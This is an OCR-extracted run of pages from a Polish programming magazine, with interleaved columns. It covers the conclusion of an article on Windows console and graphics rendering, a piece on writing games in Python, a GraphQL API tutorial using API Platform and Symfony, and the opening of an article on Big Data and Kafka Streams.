W tym miejscu warto pewnie zrobić dygresję na temat kolorów oraz aby analizować, które miejsca na obrazie zmieniły się między klat-
alfa-blendingu, który służy do rysowania miejsc półprzezroczy- kami. W końcu wystarczy obrócić nieznacznie pozycję kamery lub
stych. Jak niektórzy czytelnicy zapewne wiedzą, kolor w kompute- wykonać krok postacią, a na ekranie zmienia się praktycznie każdy
rze zazwyczaj opisuje się za pomocą trzech komponentów: RGB (od piksel. Tymczasem aplikacje okienkowe są mniej dynamiczne i dzięki
Red, Green, Blue – czerwony, zielony, niebieski). Wynika to nie tyle temu mogą odrysować tylko te miejsca (np. kontrolki GUI w oknie
z natury światła, bo to stanowi pełne spektrum fal elektromagnetycz- dialogowym, znaki w konsoli tekstowej) i tylko w takim momencie,
nych w określonym zakresie częstotliwości, ile z budowy siatkówki w którym się zmieniły. Dzięki temu, dopóki nie uruchomimy jakiejś
ludzkiego oka, które ma trzy rodzaje receptorów reagujących na ta- gry, karta graficzna jest dużo mniej obciążona pracą, co możemy po-
kie właśnie barwy. Gdybyśmy mieli oczy zbudowane jak owady czy znać po cichszej pracy jej wentylatora.
ośmiornice, musielibyśmy zupełnie inaczej budować monitory, kame- Kiedy finalny obraz pulpitu ze wszystkim oknami we właściwej ko-
ry, a także opisywać grafikę wewnątrz komputera. Jako ludzie nato- lejności jest już skomponowany, pozostaje ostatni krok: przesłać go do
miast tymi trzema komponentami możemy opisać dowolny widocz- wyświetlenia na monitorze. Monitor także pracuje, cyklicznie odświe-
ny dla nas kolor. Na przykład (0%, 0%, 0%) to brak jakiegokolwiek żając całość obrazu wiele razy na sekundę. Częstotliwość odświeżania
światła, czyli kolor czarny. (100%, 0%, 0%) to czysta barwa czerwona. współczesnych monitorów to zazwyczaj 60 Hz, choć niektóre monito-
(100%, 100%, 0%) to barwa czerwona dodana do zielonej, co daje ko- ry tzw. „gamingowe” osiągają nawet ponad 200 Hz. Wysyłając kolej-

<60> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

ne klatki obrazu do wyjścia DisplayPort czy HDMI, układ graficzny że rozbicie prostej operacji na tak wiele etapów jest marnotrawstwem
kopiuje te dane ze swojej pamięci operacyjnej. W przypadku układów zasobów, lecz z drugiej strony to właśnie taka architektura systemu
graficznych zintegrowanych z procesorem rolę tę pełni zwykła pamięć umożliwia zastosowanie dobrych praktyk tworzenia kodu i izolację
operacyjna RAM. Dyskretne karty graficzne mają natomiast własną poszczególnych komponentów w celu zwiększania bezpieczeństwa.
pamięć, nazywaną pamięcią video (VRAM). Jej rolą jest właśnie prze- Z kolei dzięki dedykowanym sterownikom karty graficznej i dość
chowywanie danych reprezentujących kolory pikseli do wyświetlenia skomplikowanemu potokowi graficznemu możemy cieszyć się przy-
na monitorze, jak również danych pomocniczych potrzebnych do jaznym dla oka interfejsem, który działa w każdej konfiguracji sprzę-
przygotowania grafiki, np. siatki trójkątów i tekstury przedstawiające towej. Na szczęście moc obliczeniowa dzisiejszych komputerów jest
wszystkie postacie i obiekty występujące w grze bądź glify przedstawia- na tyle duża, że pomimo wysokiego stopnia skomplikowania, cała
jące litery i inne znaki czcionki wyświetlane w naszej konsoli. opisana machineria i tak wykonuje się w mgnieniu oka.
W ramach ciekawostki warto zdać sobie sprawę z faktu, że pamięć Ostatnią myślą, jaką chcieliśmy przekazać, jest to, że każdą, nawet naj-
graficzna jest w stanie pomieścić w całości obraz wyświetlany na mo- bardziej skomplikowaną drogę można rozbić na mniejsze elementy, a na-
nitorze. Dziś, kiedy karty graficzne mają nawet 16 GB albo i więcej stępnie prześledzić, przeanalizować i ostatecznie – zrozumieć. Stay curious!
pamięci, trudno wyobrazić sobie, by mogło być inaczej, jednak nie za-
wsze tak było. W minionych dekadach istniały platformy, jak np. Atari W sieci
2600, w których pamięci nie wystarczało do tego celu. Ten konkretny
[1] AST visualizer, github.com/pombredanne/python-ast-visualizer
komputer miał jej 128… bajtów. Mimo tego tworzone były różnorod- [2] Python Bytecode Instructions,
ne działające na nim gry. Procesor musiał wtedy w każdej klatce na docs.python.org/3/library/dis.html?highlight=dis#python-bytecode-instructions
[3] inspect – Inspect live objects, docs.python.org/3/library/inspect.html
bieżąco generować dane dla linii obrazu wyświetlanej w danej chwili. [4] Console Reference, docs.microsoft.com/en-us/windows/console/console-reference
Możemy więc powiedzieć, że mimo całej tej złożoności współczesne- [5] Introducing Windows Terminal,
devblogs.microsoft.com/commandline/introducing-windows-terminal/
go sprzętu i oprogramowania, w której od prostego „Hello World” do [6] Why aren’t console windows themed on Windows XP?,
devblogs.microsoft.com/oldnewthing/20071231-00/?p=23983
ujrzenia pikseli na ekranie wiedzie tak daleka droga, nasze życie, jako [7] Windows Command-Line: Inside the Windows Console, devblogs.microsoft.com/
programistów, jest dziś dużo prostsze i wygodniejsze. commandline/windows-command-line-inside-the-windows-console/
[8] Windows Command-Line: The Evolution of the Windows Command-Line,
devblogs.microsoft.com/commandline/windows-command-line-the-evolution-of-the-

PODSUMOWANIE windows-command-line/
[9] Windows Terminal, Console and Command-Line repo,
github.com/microsoft/terminal
W niniejszym artykule pokazaliśmy, że nawet uruchomienie ba- [10] Replace PolyTextOutW with ExtTextOutW,
github.com/microsoft/terminal/commit/b7fc0f2
nalnego programu „Hello World” w systemie Windows wiąże się [11] The OpenType Font File,
z wykonaniem dużych pokładów znacznie bardziej skomplikowane- docs.microsoft.com/en-us/typography/opentype/spec/otff#font-tables
[12] Microsoft public symbol server,
go kodu. W naszej podróży zbadaliśmy wewnętrzne mechanizmy in- docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols
terpretera Pythona, by następnie prześledzić tok wykonania przecho- [13] Digitizing Letterform Designs,
developer.apple.com/fonts/TrueType-Reference-Manual/RM01/Chap1.html#contours
dzący przez kolejne procesy systemowe (conhost.exe, fontdrvhost.exe, [14] TrueType hinting,
docs.microsoft.com/en-us/typography/truetype/hinting#what-is-hinting
dwm.exe) oraz sterowniki trybu jądra (ntoskrnl.exe, win32k.sys, con- [15] Understanding Graphs in Radeon GPU Profiler and GPUView,
drv.sys, sterowniki karty graficznej). Można by dojść do wniosku, gpuopen.com/learn/understanding-graphs-in-radeon-gpu-profiler-and-gpuview/

ADAM SAWICKI
adam@asawicki.info
Zainteresowany głównie programowaniem grafiki, multimediów i gier. Aktualnie pracuje jako Developer Technology Engineer
w AMD. Wcześniej m.in. w firmie Intel, Microsoft, w branży gier, w telewizji. Ma szerokie doświadczenie – od niskopoziomowego
programowania sterowników graficznych i silników gier po fotografię, montaż video i VJ-ing na imprezach. Mgr inż. informatyki
– absolwent Politechniki Częstochowskiej. Autor bloga asawicki.info.

MATEUSZ JURCZYK
j00ru.vx@gmail.com
Od wielu lat pasjonuje się niskopoziomowymi aspektami programowania i bezpieczeństwem komputerowym. Specjalizuje się
w metodach znajdowania oraz wykorzystywania podatności w popularnych aplikacjach klienckich oraz systemach operacyj-
nych. Na co dzień pracuje w firmie Google w zespole Project Zero.

GYNVAEL COLDWIND
gynvael@coldwind.pl
Programista pasjonat z zamiłowaniem do bezpieczeństwa komputerowego i niskopoziomowych aspektów informatyki. Autor
książki „Zrozumieć Programowanie”, redaktor naczelny i twórca eksperymentalnego magazynu „Paged Out!”, a także licznych ar-
tykułów, publikacji, podcastów oraz wystąpień poświęconych wspomnianym tematom. Od 2010 roku mieszka w Zurychu, gdzie
pracuje dla firmy Google jako Senior Software Engineer/Information Security Engineer.

{ WWW.PROGRAMISTAMAG.PL } <61>
Python kontra tworzenie gier

Odkąd w domu pojawił się komputer, moim ulubionym medium


OD CZEGO ZACZĄĆ
były gry wideo. Zakochałem się w tej formie przekazu historii, wcie-
laniu się w protagonistę oraz poznawaniu przedstawionego świata Kiedy chcemy po prostu zacząć przygodę z tworzeniem gier, kierunek
na swoich zasadach. Kwestią czasu było, bym sam zapragnął stwo- wydaje się oczywisty: Unreal Engine albo Unity. Niestety, narzędzia te
rzyć swoją grę. W ten sposób zaczęła się moja przygoda z progra- w swoich stabilnych wersjach nie wspierają Pythona. Na szczęście jest
mowaniem – od wpisywania w Google fraz „jak napisać swoją grę” światełko w tunelu – programiści Pythona mogą liczyć na specjalnie
do bawienia się z silnikami, takimi jak Unity czy Unreal Engine. dla nich napisane narzędzia. Najpopularniejszą biblioteką wspierają-
Jednak gdzieś po drodze marzenie o pracy w gamedevie zmieniło się cą pisanie gier w Pythonie jest PyGame. Silnik ten, udostępniany na
na pracę przy aplikacjach internetowych, a moim przewodnim języ- podstawie licencji LGPL, pozwala na budowanie w pełni komercyj-
kiem stał się Python. Rozmawiając z kolegami i koleżankami w pracy, nych projektów. Ponadto biblioteka ta jest zaprojektowana tak, aby
okazało się, że znaczna ich część miała bardzo podobny start w świat w łatwy sposób móc wykorzystać wiele rdzeni procesora. Główne
programowania. Niestety, wielu z nich porzuciło marzenie o stworze- funkcje zostały napisane w C oraz Assemblerze, dzięki czemu nasz
niu i opublikowaniu własnej gry wideo, ze względu na opinie doty- projekt będzie 10-20 razy szybszy, niż gdyby był napisany w samym
czącą (małej) użyteczności Pythona w programowaniu gier oraz brak Pythonie. Atutem jest też to, że działa na każdym systemie operacyj-
czasu na nauczenie się nowego języka. nym, od Windowsa do konsoli Dreamcast.
Aby rozpocząć swoją przygodę z PyGame, wystarczy mieć zain-

DLACZEGO NIE PISZE SIĘ GIER stalowanego Pythona 3 oraz w środowisku wywołać python3 -m pip
install -U pygame --user. Gdy paczka się zainstaluje, możemy od
W PYTHONIE… razu przystąpić do pracy nad naszą grą.
Gdy myślimy o tworzeniu gier, pierwsze, co nam przychodzi do gło- Narzędzie jest nieprawdopodobnie przyjazne do nauki. Twórcy
wy w kontekście języków programowania, to C++ albo C#, natomiast przygotowali obszerną dokumentację oraz listę poradników – ich
szukając odpowiedzi w Internecie„ z którego języka skorzystać?”, zdaniem – wartych uwagi. Znajdziecie ją pod adresem: pygame.org/
szybko natkniemy się na informacje, by omijać szerokim łukiem Py- docs/tut/newbieguide.html. Osobiście polecam: „Python pygame –
thona. Jest w tym sporo prawdy, ponieważ Python nie jest stworzony The Full Tutorial”. Poradnik ten doskonale wprowadza w meandry
z myślą o wydajności obliczeniowej, tylko wydajności w tworzeniu takich zagadnień jak „Game Loop”, „Event” czy rysowanie w świecie
kodu. Szacuje się, że Python jest wolniejszy o ponad 25 razy od C++1, gry. Dodatkowo autorzy zestawienia przygotowali kilka wskazówek
co jest naprawde potężną różnicą, szczególnie jeśli chodzi o pisanie dla początkujących, które pozwolą od razu cieszyć się procesem two-
gier wideo – wszakże tam każda milisekunda jest na wagę złota! Jed- rzenia autorskich gier i uchronią przed często popełnianymi błędami
nak każdy programista Pythona, który marzy, by napisać swoją wła- – pygame.org/docs/tut/newbieguide.html.
sną grę, nie powinien się tym zniechęcać. PyGame jest tylko jednym z przykładów na to, że są możliwości
i środki, by pisać gry w Pythonie, i to w całkiem przyjemny sposób!

…A DLACZEGO MOŻNA Wraz z rozwojem naszego gamingowego warsztatu i pojawienia się


np. chęci dodania trzeciego wymiaru, śmiało można przyjrzeć się ta-
Python w gamedevie to nie tylko same minusy. Dzięki prostocie i pręd- kim narzędziom jak Ursina lub Panda3D. Oczywiście to nie są jedyne
kości pisania aplikacji jest on doskonałym językiem do prototypo- technologie stworzone dla nas, pythonowców. Wybór jest naprawde
wania – efekt pracy widoczny jest natychmiastowo i możliwe jest ogromny, silniki takie jak PyOgre, PyKyra, Ren’Py są również warte
szybkie dostarczenie grywalnego projektu potencjalnym inwestorom. zainteresowania. Dodatkowo wypada wspomnieć również o bilbio-
W związku z tym jest on też idealnym językiem, aby rozpocząć swo- tece Kivy, która może nie została stworzona z myślą o grach, ale jak
ją przygodę z tworzeniem gier, bez względu na to, czy jesteśmy już najbardziej się do tego nadaje. Jest to multiplatformowe narzędzie do
w nim biegli, czy też dopiero rozpoczynamy naszą przygodę z pro- szybkiego tworzenia aplikacji okienkowych. Jeśli chcecie się przeko-
gramowaniem. Dzięki przyjaznej nowicjuszom składni języka pro- nać, czy gra napisana w Pythonie może odnieść międzynarodowy
gramista może się skupić na podstawach programowania gier, a nie sukces, to polecam uwadze EVE Online – produkcję, która dziennie
na skomplikowaniu samego języka. Szybko widoczne efekty pozwolą przyciąga ponad 20 000 graczy.
początkującym wciągnąć się w procesy tworzenia projektu. Zaawan-
Hubert Kozacz, Python Developer, STX Next
sowani natomiast najbardziej docenią fakt, że mogą stworzyć coś
grywalnego, używając codziennego narzędzia pracy, oraz że proces
pisania kodu będzie jak zawsze bardzo przyjemny i satysfakcjonujący.

1. towardsdatascience.com/how-fast-is-c-compared-to-python-978f18f474c7

{ MATERIAŁ INFORMACYJNY }
PROGRAMOWANIE APLIKACJI WEBOWYCH

API Platform – tworzenie API GraphQL


API Platform to doskonałe narzędzie do szybkiego tworzenia nowoczesnych webowych in-
terfejsów aplikacji. W poprzednich wydaniach magazynu wykorzystaliśmy tę platformę do
stworzenia API w architekturze REST. Dziś wykorzystamy ten framework do tworzenia API
GraphQL – nowoczesnego języka zapytań stworzonego na potrzeby Facebooka.

CZYM JEST GRAPHQL Odpowiedź na takie zapytanie zostanie zwrócona zawsze w forma-
cie JSON niezależnie od metody i zmiennych, które zostały wysłane:
GraphQL to język zapytań dla API. Został stworzony przez zespół
Listing 2. Przykładowa prawidłowa odpowiedź GraphQL
odpowiedzialny za rozwijanie Facebooka na potrzeby wewnętrzne
tej platformy, a w 2015 roku został opublikowany jako otwarty stan- {
"data": {
dard. Wyróżnia się on prawdziwą elastycznością pod kątem danych "category": {
zwracanych przez zapytanie. Jego podstawowe założenie to dokład- "id": "/api/categories/1",
"name": "Kategoria testowa nr 1",
ne definiowanie w zapytaniu, jakich danych oczekujemy od serwera "posts": {
"totalCount": 4
– schodząc nawet do poziomu poszczególnych własności obiektów. }
Jak nietrudno się domyślić, jest to więc rozwiązanie, które architek- }
}
tonicznie zakłada optymalizację na kilku płaszczyznach. Podstawowa }
to redukcja transferu – widoczna szczególnie przy zapytaniach o ko-
lekcje zwracające liczne elementy. Wykorzystać tę właściwość można W powyższym przykładzie otrzymaliśmy poprawną odpowiedź za-
także na poziomie warstwy backendowej – serwer nie musi pobierać wierającą pole "data". Standard przewiduje także alternatywne
(z bazy) lub generować danych, które nie są potrzebne klientowi. zwracanie błędów zamiast danych.
Zmodyfikujmy zapytanie i wyślijmy prośbę o niezidentyfikowany

JAK WYGLĄDAJĄ ZAPYTANIA obiekt.

I ODPOWIEDZI W GRAPHQL Listing 3. Przykładowe zapytanie o nieistniejący obiekt

W dalszej części artykułu utworzymy aplikację, która będzie rozumiała {


someRandom {
i odpowiadała na zapytania GraphQL, którego budowa wygląda np. tak: id
}
Listing 1. Przykładowe poprawne zapytanie GraphQL }

query getBlogCategoryWithPostsCount { W odpowiedzi otrzymamy informację o błędzie, a także szczegółowo


category(id: "/api/categories/1") {
id wskazaną linijkę i kolumnę zapytania.
name
posts { Listing 4. Przykładowa odpowiedź z błędem sugerująca przyczynę problemu
totalCount
} {
} "errors": [
} {
"message": "Cannot query field \"someRandom\"
on type \"Query\".",
Przyjrzyjmy się poszczególnym elementom, rozbijając Listing 1 na "extensions": {
"category": "graphql"
części pierwsze: },
» query getBlogCategoryWithPostsCount – jest to nazwane za- "locations": [
{
pytanie, moglibyśmy z tego fragmentu całkowicie zrezygnować, "line": 2,
ale dzięki etykietowaniu ułatwiamy sobie pracę, "column": 3
}
» category – selekcja obiektu kategorii oraz jego nazwy (name) ]
i identyfikatora (id) wyfiltrowanego po konkretnym identyfika- }
]
torze IRI (dla przypomnienia – standard identyfikatora określa-
jący adres danego zasobu). W naszym przypadku wskazujemy
po prostu kategorię z id: 1,
SWAGGER DLA GRAPHQL – CZYLI
» posts – kolekcja obiektów znajdująca się w obiekcie category
GRAPHIQL ORAZ GRAPHQL PLAYGROUND
(co sugeruje relację – w tym przypadku kolekcję postów powią-
zanych z daną kategorią), choć – ponieważ odpytujemy jedynie Programistom zapoznanym z API opartym o REST prawdopodob-
o totalCount – nie pobieramy żadnych danych poza podsumo- nie doskonale znany jest Swagger UI. Dla przypomnienia – jest to
waną ilością. narzędzie, które wykorzystując OpenAPI (format opisujący dostępne

<64> { 1 / 2022 < 100 > }


/ API Platform – tworzenie API GraphQL /

zasoby/funkcjonalności aplikacji), generuje klikalną dokumentację, Warto mieć na uwadze możliwość nazywania zapytań. Klient
w której można w przystępnym interfejsie wygenerować zapytanie do GraphQL wykorzystuje to m.in. do wyświetlenia historii, dzięki cze-
serwera. mu łatwo będziemy mogli odnaleźć wysłane przez nas podczas roz-
woju aplikacji testowe zapytania.

Rysunek 1. Widok dokumentacji Swagger UI Rysunek 3. Historia w GraphiQL wyświetla nazwane zapytania

W przypadku GraphQL zamiast Swagger UI możemy wykorzystać Alternatywnym narzędziem jest GraphQL Playground (Rysunek 4).
specjalny klient GraphiQL (Rysunek 2). Jest to przeglądarkowe IDE mające więcej funkcjonalności niż Gra-
W narzędziu tym wyróżniamy kilka istotnych elementów: phiQL. Pozwala m.in. na posiadanie wielu tabów z zapytaniami, po-
» Po lewej stronie – miejsce na wpisanie zapytania. bieranie dokumentacji, modyfikowanie nagłówków HTTP wysyła-
» Pod miejscem na wpisanie zapytania jest opcjonalne pole (do- nych do serwera oraz personalizację.
stępne po rozwinięciu) na uzupełnienie zmiennych. API Platform w domyślnej konfiguracji dostarcza oba powyż-
» Po prawej stronie znajdować się będzie wynik zwrócony z ser- sze narzędzia. Przejdźmy więc do praktyki i stwórzmy przykładową
wera po wysłaniu zapytania (za pomocą przycisku Play lub skró- aplikację.
tu klawiszowego Ctrl+Enter).
» Przyciski Prettify (autoformatowanie), Merge (optymalizacja
ZAŁOŻENIA APLIKACJI
kompleksowych zapytań), Copy oraz History (wyświetlanie listy
historycznie wysłanych zapytań). Będziemy chcieli stworzyć API do obsługi bloga, którego posty przy-
» Docs – przeglądarka dokumentacji, której przyjrzymy się po pisane są do kategorii. API powinno umożliwiać tworzenie kategorii,
wygenerowaniu zasobów. postów oraz zwracanie kategorii wraz z postami w jednym zapytaniu.

Rysunek 2. Podstawowy widok narzędzia GraphiQL

{ WWW.PROGRAMISTAMAG.PL } <65>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Rysunek 4. Domyślny widok narzędzia GraphQL Playground

WYMAGANIA Teraz po uruchomieniu serwera developerskiego powinniśmy za


pomocą komendy:
Przed lekturą dalszej części artykułu należy zainstalować następujące
$ symfony serve
narzędzia:
» PHP (w wersji 7.4+) z modułami Ctype, iconv, JSON, PCRE,
Session, SimpleXML, Tokenizer. uzyskać informację o skonfigurowanym serwerze i porcie, na którym
» Serwer MySQL (ze stworzoną bazą danych o nazwie „blog”); nasłuchuje aplikacja – będziemy się posługiwać tym adresem w dal-
dzięki wykorzystaniu Doctrine ORM możemy też podłączyć się szej części artykułu.
bez zmiany kodu aplikacji m.in. do PostgreSQL, SQLite czy Orac-
[OK] Web server listening
le Database, ale w tym artykule wykorzystamy adapter MySQL. The Web server is using PHP FPM 7.4.24
» Composer (getcomposer.org/). https://127.0.0.1:8000

» Symfony CLI (symfony.com/download).


Jeżeli wszystko przebiegło pomyślnie, to po wejściu w przeglądarce

IMPLEMENTACJA GRAPHQL W API pod adres nasłuchującego serwera pod ścieżką https://127.0.0.1:8000/
api/graphql naszym oczom ukaże się ekran narzędzia GraphiQL, a po
PLATFORM wejściu pod adres https://127.0.0.1:8000/api/graphql/graphql_play-
Rozpocznijmy od utworzenia nowego projektu symfony o nazwie ground zobaczymy narzędzie GraphQL Playground.
„blog-graphql”.

$ symfony new blog-graphql TWORZENIE ZASOBÓW ORAZ RELACJI


W celu utworzenia zasobów GraphQL wykorzystamy komendę
Wejdźmy do folderu z projektem, a następnie zainstalujmy za pomo- maker:entity wchodzącą w skład narzędzi maker, które pobraliśmy
cą narzędzia composer open sourcowe rozwiązania – api-platform wcześniej, wykorzystując composer.
(podstawowa paczka z frameworkiem API Platform), webonyx/gra- Znajdując się w folderze z projektem, uruchomimy więc komen-
phql-php (biblioteka implementująca obsługę GraphQL) oraz maker dę make:entity z parametrem --api-resource, który informu-
(zestaw narzędzi do częściowej automatyzacji tworzenia kodu). je generator, że tworzone zasoby powinny otrzymać adnotację API
Platform, co spowoduje automatyczne załączenie ich do interfejsu
$ cd blog-graphql/
$ composer require api-platform aplikacji:
$ composer require webonyx/graphql-php
$ composer require maker --dev $ ./bin/console make:entity --api-resource

<66> { 1 / 2022 < 100 > }


/ API Platform – tworzenie API GraphQL /

Postępując zgodnie z poleceniami programu, wygenerujmy dwa


MUTACJE ORAZ ZARZĄDZANIE
zasoby zawierające następujące pola:
ZASOBAMI
Category:
- name (type: string, length: 191, nullable: no) Przejdźmy pod adres https://127.0.0.1:8000/api/graphql w przeglą-
- active (type: boolean, nullable: no) darce, uruchamiając tym samym klienta GraphiQL.
Post: Rozwińmy dokumentację (przycisk < Docs) – znajdują się tutaj
- title (type: string, length: 191, nullable: no)
- content (type: text, nullable: no) dwa główne typy zapytań GraphQL:
- category ( » query – zapytania związane z pobieraniem danych,
type: relation,
class: Category, » mutation – zapytania na potrzeby aktualizacji danych.
relation: ManyToOne
)
Stworzymy przykładową kategorię, a następnie przypiszemy do niej
dwa posty. Rozpocznijmy od skorzystania z mutacji createCategory.
Zauważmy, że podczas tworzenia pola typu relacja aplikacja automa-
Listing 6. Zawartość ciała zapytania createCategry
tycznie podpowiada nam istniejącą klasę, a następnie sugeruje ak-
tualizację tej klasy o specjalną metodę, za pomocą której będziemy mutation {
createCategory(input: {
mogli pobierać kolekcję, na co powinniśmy się zgodzić. name: "Główna kategoria",
active: true
Listing 5. Komenda maker:entity pozwala na automatyczne wygenerowanie }) {
dwustronnej relacji zasobów category {
id
Do you want to add a new property to Category so }
that you can access/update Post objects from it - }
e.g. $category->getPosts()? }
(yes/no) [yes]:
Zauważmy, że w powyższym zapytaniu poprosiliśmy od razu o zwró-
Zweryfikujmy zawartość folderu src – powinny tam być wygenero- cenie pola id dla obiektu category (moglibyśmy także poprosić
wane pliki. o pozostałe pola), dzięki czemu w odpowiedzi otrzymamy IRI obiek-
tu, który będziemy mogli wykorzystać do utworzenia postów.
src/
├── Entity Listing 7. Odpowiedź z zapytania createCategory
│ └── Category.php
│ └── Post.php
{
└── Repository
"data": {
└── CategoryRepository.php
"createCategory": {
└── PostRepository.php
"category": {
"id": "/api/categories/1"
}
}
URUCHOMIENIE MIGRACJI ORAZ }

APLIKACJI }

Upewnijmy się, że posiadamy skonfigurowane połączenie z naszą A następnie skorzystajmy z mutacji createPost.
bazą danych. W tym celu zweryfikujmy zawartość pliku .env pod ką-
Listing 8. Zawartość ciała zapytania createPost
tem zmiennej DATABASE_URL.
mutation {
DATABASE_URL="mysql://root:password@127.0.0.1:3306/blog firstPost: createPost(input: {
?serverVersion=8.0" title: "Post numer 1",
content: "Zawartość nr 1"
category: "/api/categories/1"
W powyższym przykładzie łączymy się z bazą MySQL w wersji 8.0 }) {
post {
o nazwie „blog”, wykorzystując użytkownika „root”, hasło „password”, id
title
pod adresem 127.0.0.1 i portem 3306. category {
Po weryfikacji uruchamiamy komendę odpowiedzialną za wyge- id
}
nerowanie migracji (pliku tworzącego zapytania do bazy danych na }
podstawie zdefiniowanych klas oznaczonych w naszym przypadku }
secondPost: createPost(input: {
automatycznie adnotacją doctrine). title: "Post numer 2",
content: "Zawartość nr 2"
category: "/api/categories/1"
$ ./bin/console make:migration
}) {
post {
id
title
Zauważmy, że został wygenerowany plik z migracją w folderze „mi- category {
grations”. Pozostaje uruchomić skrypt, który utworzy wygenerowaną id
}
strukturę w naszej bazie danych. }
}
$ ./bin/console doctrine:migrations:migrate }

{ WWW.PROGRAMISTAMAG.PL } <67>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Zauważmy, że wykorzystaliśmy jedną z właściwości GraphQL W odpowiedzi otrzymujemy kategorię oraz wszystkie jej posty
– wysłaliśmy prośbę o utworzenie dwóch postów jednocześnie za wraz z podsumowaniem ilości.
pomocą jednego zapytania i przypisaliśmy je do konkretnych nazw
Listing 11. Odpowiedź na zapytanie o kategorie wraz z postami
(firstPost, secondPost), aby rozróżniać je w odpowiedzi.
{
Listing 9. Zawartość odpowiedzi zapytania createPost "data": {
"categories": {
{ "totalCount": 1,
"data": { "edges": [
"firstPost": { {
"post": { "node": {
"id": "/api/posts/1",
"id": "/api/categories/1",
"title": "Post numer 1",
"name": "Główna kategoria",
"category": {
"id": "/api/categories/1" "posts": {
} "totalCount": 2,
} "edges": [
}, {
"secondPost": { "node": {
"post": { "id": "/api/posts/1",
"id": "/api/posts/2", "title": "Post numer 1"
"title": "Post numer 2", }
"category": { },
"id": "/api/categories/1" {
} "node": {
} "id": "/api/posts/2",
}
"title": "Post numer 2"
}
}
}
}
]
}
Zweryfikujmy, czy nasze działania osiągnęły zamierzony skutek. }
}
Wyślijmy zapytanie o kategorie oraz ich posty. W tym celu zbudu- ]
jemy zapytanie składające się z prośby o kolekcję kategorii (zamiast }
}
obiektu konkretnej kategorii), przez co poprosić musimy o zawartość }
node obiektu edges zwracanego przez kolekcję categories. Jest to
zalecana implementacja wdrożenia list i paginacji przez GraphQL,
którą API Platform wdraża domyślnie wraz z kolekcjami.
PODSUMOWANIE
Listing 10. Zapytanie o kategorie z postami
Wykorzystując narzędzie API Platform, możemy w szybki sposób
query GetCategoriesWithPosts{ stworzyć nowoczesne i elastyczne API GraphQL, nawet nie mając
categories {
totalCount pełnej wiedzy na temat jego specyfikacji. Twórcy API Platform oraz
edges { biblioteki webonyx/graphql-php zadbali o logikę odpowiedzialną za
node {
id obsługę tego skomplikowanego w implementacji, ale potężnego stan-
name
posts {
dardu. Jeżeli zapoznaliście się z poprzednimi artykułami z tej serii,
totalCount to zapewne dostrzegliście, że struktura zasobów wygląda tak samo
edges {
node { w przypadku API REST oraz GraphQL. Ucząc się wykorzystania ad-
id notacji API Platform, otwieramy sobie drogę do dostarczania obu
title
} tych formatów jednocześnie.
} Osobom zainteresowanym wykorzystaniem narzędzia polecam
}
} lekturę dokumentacji znajdującej się pod adresem:
} api-platform.com/docs.
}
}

ADRIAN CHOJNICKI
adrian.chojnicki@global4net.com
Współzałożyciel Global4Net, architekt rozwiązań chmurowych. Specjalizuje się w tworzeniu aplikacji e-commerce z wyko-
rzystaniem PWA oraz platformy Magento. Propaguje wykorzystanie mikroserwisów jako skalowalne wsparcie dla systemów
monolitycznych.

<68> { 1 / 2022 < 100 > }


PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

Architektury Big Data i procesowanie strumienia danych


w czasie rzeczywistym na bazie Kafka Streams
Sposób, w jaki postrzegamy i analizujemy dane, uległ sporym zmianom w ostatnich latach.
Jeszcze do niedawna były one zazwyczaj kojarzone z pojedynczą maszyną i systemami
o scentralizowanej architekturze. Dzisiaj często są współdzielone między wieloma maszy-
nami czy odległymi centrami danych w rozproszonej architekturze. Zmianie uległ sposób ich
przetwarzania, gdzie terminy takie jak Lambda czy Kappa opisują architekturę użytą przy pro-
jektowaniu i budowaniu systemów przetwarzających dane Big Data.

E wolucja danych, często generowanych na masową skalę, jak


choćby Internet of Things (IoT), media społecznościowe czy Big
Data, doprowadziła do powstania rozwiązań, które odpowiadają na
Różnorodność (Variety) dotyczy wyzwań wynikających z niezgod-
nych formatów danych, niedopasowanych struktur czy niespójnej
semantyki danych. Są to też dane pochodzące z wielu źródeł, jak np.
nowe wyzwania związane z przetwarzaniem strumienia danych, takie dane numeryczne z relacyjnych baz danych, niestrukturalne pliki tek-
jak sterowanie współbieżnością w środowisku rozproszonym, zarzą- stowe, wiadomości email, pliki wideo czy transakcje finansowe.
dzanie rozproszonymi transakcjami, skalowalność czy odporność na Technologia dla Big Data dostarcza więc wydajnych rozwiązań
błędy. Rozproszone systemy do analizy danych pozwalają na proce- do przechowywania i przetwarzania dużych wolumenów danych, ich
sowanie znacznie większej ilości danych wejściowych niż tradycyjne analizy i wyciągania kluczowych informacji biznesowych w możliwie
systemy bazodanowe. Organizacje dziś niejednokrotnie przetwarzają krótkim czasie. Do projektowania i budowania tych systemów stosu-
setki gigabajtów czy terabajtów danych. Koszt ich magazynowania jemy dwa podstawowe typy architektur: Lambda i Kappa.
znacznie spadł w ostatnich latach. Gromadzimy ich coraz więcej, ale
też rośnie liczba sposobów, w jaki te dane są gromadzone. Jedne dane
ARCHITEKTURA LAMBDA
docierają w szybkim tempie, wymagają ciągłej obserwacji i pobiera-
nia, inne docierają wolniej, ale za to w dużych wsadach reprezentują- Architektura Lambda charakteryzuje się wysoką efektywnością prze-
cych określony przedział historii. Wyzwania, przed którymi stoją dziś twarzania dużej ilości danych. Jej główne cechy to wysoka przepusto-
systemy do przetwarzania danych, próbują zaadresować architektury wość, niska latencja i odporność na błędy.
Big Data. Lambda zbliżona jest do koncepcji Event Sourcingu, czyli prze-
chowywania stanu aplikacji jako ciągu sekwencyjnych zdarzeń,

BIG DATA wykorzystuje ona zdarzenia do dokonania predykcji i zachowania


zmian zachodzących w systemie w czasie rzeczywistym. Na przykład
Wiele opracowań przedstawia Big Data jako duży, złożony wolumen interakcja użytkownika z aplikacją web czy polubienie czyjegoś ko-
danych, zarówno strukturalnych (np. dane z czujników), jak i nie- mentarza na portalu społecznościowym wywołuje zdarzenie, które
strukturalnych (emaile, zdjęcia), który nie może być przechowywany może być przetworzone i zapisane w bazie danych oraz wykorzystane
i przetwarzany z wykorzystaniem tradycyjnych systemów bazodano- później do analizy biznesowej w aplikacji.
wych. Douglas Laney, były współpracownik Gartnera, definiuje Big Zainicjowana w 2011 roku przez Nathana Marz’a, Lambda w uprosz-
Data przy pomocy trzech V: wolumen (Volume), szybkość (Velocity) czeniu dzieli złożone systemy na warstwę wsadową (ang. batch lay-
